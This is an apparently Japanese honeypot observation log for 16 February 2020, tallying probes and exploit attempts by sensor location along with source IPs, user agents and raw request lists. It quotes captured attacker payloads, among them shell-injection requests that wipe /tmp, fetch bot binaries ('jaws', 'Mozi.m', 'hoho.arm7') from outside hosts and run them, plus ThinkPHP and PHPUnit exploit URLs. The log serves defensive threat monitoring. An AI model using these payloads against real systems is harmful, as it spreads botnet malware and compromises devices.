2020/02/16 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2020/02/16分です。

特徴

Location：JP

Linear eMerge E3製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
Nmap Scripting Engineによるスキャン行為 Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
18[.]179[.]20[.]5に関する不正通信
123[.]125[.]114[.]144に関する不正通信
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

Location：US

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
WordPressログイン画面へのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd+/tmp;
rm+-rf+*;
wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh+/tmp/jaws

Location：UK

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
123[.]125[.]114[.]144に関する不正通信
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

Location：SG

NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Nmap Scripting Engineによるスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

他

Location：SGで観測したNmap Scripting Engineによるスキャン行為は半分ぐらい壊れているのか。。。

アクセス数推移

JP：総アクセス数：84 (前日比：+22)
US：総アクセス数：25 (前日比：+9)
UK：総アクセス数：28 (前日比：+17)
SG：総アクセス数：65 (前日比：+39)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location：JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	110.80.155.174	China
1	111.224.234.31	China
1	112.117.18.203	China
1	114.37.183.119	Taiwan
1	123.158.60.143	China
1	123.191.137.164	China
6	138.197.131.62	United States
1	183.184.235.82	China
1	183.191.125.249	China
5	193.57.40.38	Ukraine
1	196.45.48.119	Nigeria
10	212.129.148.247	China
1	220.250.63.224	China
1	221.13.12.244	China
1	222.186.19.221	China
1	222.82.52.223	China
34	44.224.22.196	United States
1	45.136.108.64	Germany
6	47.92.172.245	China
5	5.101.0.209	Russia
1	58.248.203.56	China
1	61.219.11.153	Taiwan
2	80.18.113.223	Italy

UserAgent一覧

件数	UserAgent
32	-
14	AWS Security Scanner
2	Go-http-client/1.1
1	Hello, world
1	Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44
4	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
10	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
6	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
4	PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

リクエスト内容一覧

件数	Method	Request	Protocol
1	-
10	CONNECT	18[.]179[.]20[.]5:80	HTTP/1.0
1	CONNECT	cn[.]bing[.]com:443	HTTP/1.1
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	CONNECT	www[.]baidu[.]com:443	HTTP/1.1
1	CONNECT	www[.]ipip[.]net:443	HTTP/1.1
1	CONNECT	www[.]voanews[.]com:443	HTTP/1.1
2	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
2	GET	/card_scan_decoder.php?No=30&door=%60wget http://switchnets[.]net/hoho.arm7;
1	GET	/elrekt.php	HTTP/1.1
1	GET	/evox/about	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	http://boxun[.]com/	HTTP/1.1
2	GET	http://example[.]com/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	http://www[.]123cha[.]com/	HTTP/1.1
1	GET	http://www[.]epochtimes[.]com/	HTTP/1.1
1	GET	http://www[.]minghui[.]org/	HTTP/1.1
1	GET	http://www[.]rfa[.]org/english/	HTTP/1.1
1	GET	http://www[.]wujieliulan[.]com/	HTTP/1.1
1	GET	/index.php	HTTP/1.1
2	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
4	GET	/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	/muieblackcat	HTTP/1.1
1	GET	//myadmin/scripts/setup.php	HTTP/1.1
1	GET	//MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	/nmaplowercheck1581782217	HTTP/1.1
1	GET	//phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	//phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//pma/scripts/setup.php	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/wp-login.php	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	HEAD	http://123[.]125[.]114[.]144/	HTTP/1.1
1	POST	/index.php?s=captcha	HTTP/1.1
1	POST	/sdk	HTTP/1.1
2	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	\x03
10	\x16\x03\x01
2	\x16\x03\x01\x02

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
5	104.196.219.213	United States
1	1.170.93.69	Taiwan
1	157.245.52.130	United States
3	165.227.1.124	United States
6	178.128.78.70	United States
1	222.186.19.221	China
1	36.235.151.122	Taiwan
5	5.101.0.209	Russia
1	61.231.200.71	Taiwan
1	94.73.194.12	Russia

UserAgent一覧

件数	UserAgent
12	-
1	Go-http-client/1.1
3	Hello, world
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0

リクエスト内容一覧

件数	Method	Request	Protocol
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	GET	/24794d9a4e38d452fd2f33819902ee05.php	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/b2184d6d311d78ae1d7e7fcea6388bc7.php	HTTP/1.1
1	GET	/FF23A014A1F858C0A29ECAB0137F177D.php	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/muieblackcat	HTTP/1.1
1	GET	//myadmin/scripts/setup.php	HTTP/1.1
1	GET	//MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	/phpmyadmin/index.php	HTTP/1.1
1	GET	/phpMyAdmin/index.php	HTTP/1.1
1	GET	//phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	//phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//pma/scripts/setup.php	HTTP/1.1
1	GET	/scripts/app.js	HTTP/1.1
3	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/umbraco/	HTTP/1.1
1	GET	/wp-login.php	HTTP/1.1
1	GET	/wp/wp-login.php	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	\x16\x03\x01\x02

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	111.175.59.4	China
1	111.246.8.6	Taiwan
1	114.40.182.155	Taiwan
1	118.171.20.79	Taiwan
1	123.138.72.202	China
1	123.145.26.88	China
1	123.191.131.65	China
1	123.191.142.124	China
6	138.197.131.62	United States
1	175.152.110.181	China
1	180.95.238.126	China
1	183.128.222.9	China
1	222.186.19.221	China
1	222.79.48.138	China
1	223.166.75.231	China
1	27.224.137.224	China
1	39.107.74.87	China
1	41.216.186.89	South Africa
5	5.101.0.209	Russia

UserAgent一覧

件数	UserAgent
7	-
1	Go-http-client/1.1
3	Hello, world
1	Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
6	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
1	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
4	PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

リクエスト内容一覧

件数	Method	Request	Protocol
1	CONNECT	cn[.]bing[.]com:443	HTTP/1.1
1	CONNECT	ip[.]ws.126[.]net:443	HTTP/1.1
1	CONNECT	www[.]baidu[.]com:443	HTTP/1.1
1	CONNECT	www[.]ipip[.]net:443	HTTP/1.1
1	CONNECT	www[.]voanews[.]com:443	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	http://boxun[.]com/	HTTP/1.1
1	GET	http://www[.]123cha[.]com/	HTTP/1.1
1	GET	http://www[.]epochtimes[.]com/	HTTP/1.1
1	GET	http://www[.]minghui[.]org/	HTTP/1.1
1	GET	http://www[.]rfa[.]org/english/	HTTP/1.1
1	GET	http://www[.]wujieliulan[.]com/	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/muieblackcat	HTTP/1.1
1	GET	//myadmin/scripts/setup.php	HTTP/1.1
1	GET	//MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	//phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//pma/scripts/setup.php	HTTP/1.1
3	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	HEAD	http://123[.]125[.]114[.]144/	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	\x03

Location：SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
23	111.206.52.101	China
20	111.206.52.81	China
1	114.45.33.92	Taiwan
1	139.204.118.99	China
1	177.105.132.23	Brazil
1	218.164.12.20	Taiwan
1	222.186.19.221	China
1	36.225.43.207	Taiwan
6	39.98.32.219	China
1	41.216.186.89	South Africa
1	45.136.108.64	Germany
1	46.20.209.178	Palestine
5	5.101.0.209	Russia
1	61.219.11.153	Taiwan
1	61.224.76.35	Taiwan

UserAgent一覧

件数	UserAgent
49	-
1	Go-http-client/1.1
5	Hello, world
1	iPhoto/9.1.1 (Macintosh; N; PPC)
4	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

リクエスト内容一覧

件数	Method	Request	Protocol
2
1	<
1	-
1	0\x84
1	*1
1	CONNECT01	v09
1	CONNECT	ip.ws.126.net:443	HTTP/1.1
1	{D79E94C5-70F0
1	EHLO
1		fox a 1 -1 fox hello
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/api	HTTP/1.0
1	GET	/?CAVIT	HTTP/1.1
1	GET	/evox/about	HTTP/1.1
1	GET	/hazelcast/rest/cluster	HTTP/1.0
1	GET	/HNAP1	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP	HTTP/1.1
1	get_info
1	GET	/nice%20ports%2C/Tri%6Eity.txt%2ebak	HTTP/1.0
1	GET	/nmaplowercheck1581763187	HTTP/1.1
1	GET	SERVER	INFO
1	GET	/server-info	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
5	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/version	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
2	HELP
1	init
1	LO_SERVER_CLIENT_PAIR
1		< NTP/1.0 >
1		< NTP/1.1 >
1		< NTP/1.2 >
1	NXSH-5.6.7
1	OPTIONS	/	HTTP/1.0
1	OPTIONS	/	RTSP/1.0
1	OPTIONS	sip:nm	SIP/2.0
1	POST	/sdk	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	Query
1	serverstatus
1		show info
1	#ST
1	stats
1	Subscribe
1	TSH
1	ver
1		WWWOFFLE STATUS
1	\x01default
3	\x03
1	\x05\x04
1	\x124
2	\x16\x03\x01\x02
1		\x1b%-12345X@PJL INFO ID
1	\x80\x9e\x01\x03\x01
1		<?xml version=\"1.0\" ?>nmap.probe